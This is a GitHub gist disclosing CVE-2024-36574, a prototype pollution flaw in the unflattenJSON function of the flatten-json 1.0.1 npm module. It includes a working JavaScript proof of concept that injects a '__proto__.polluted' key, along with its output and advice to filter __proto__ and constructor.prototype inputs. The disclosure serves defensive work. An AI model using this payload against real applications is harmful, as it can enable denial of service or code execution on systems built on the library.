Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active June 12, 2024 14:21
Show Gist options
  • Save mestrtee/d5a0c93459599f77557b5bbe78b57325 to your computer and use it in GitHub Desktop.
Save mestrtee/d5a0c93459599f77557b5bbe78b57325 to your computer and use it in GitHub Desktop.
[CVE-2024-36574] Prototype pollution vulnerability affecting flatten-json, version 1.0.1 module

Overview

The vulnerability located at module.exports.unflattenJSON (flatten-json/index.js:42) where the source's property is unsafely assigned to the destination.

An attacker can be exploit this method to inject malicious payload via built-in Object through the special properties __proto__ or constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

PoC

(async () => {
  const lib = await import('@allanlancioni/flatten-json');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default.unflattenJSON ({ "__proto__.polluted": true})
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

How to prevent

No updates were provided by the maintainer. Users of this module are urged to implement proper santization and validation over user's supplied inputs, such as blocking inputs containing __proto__ and contructor.prototype

References:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment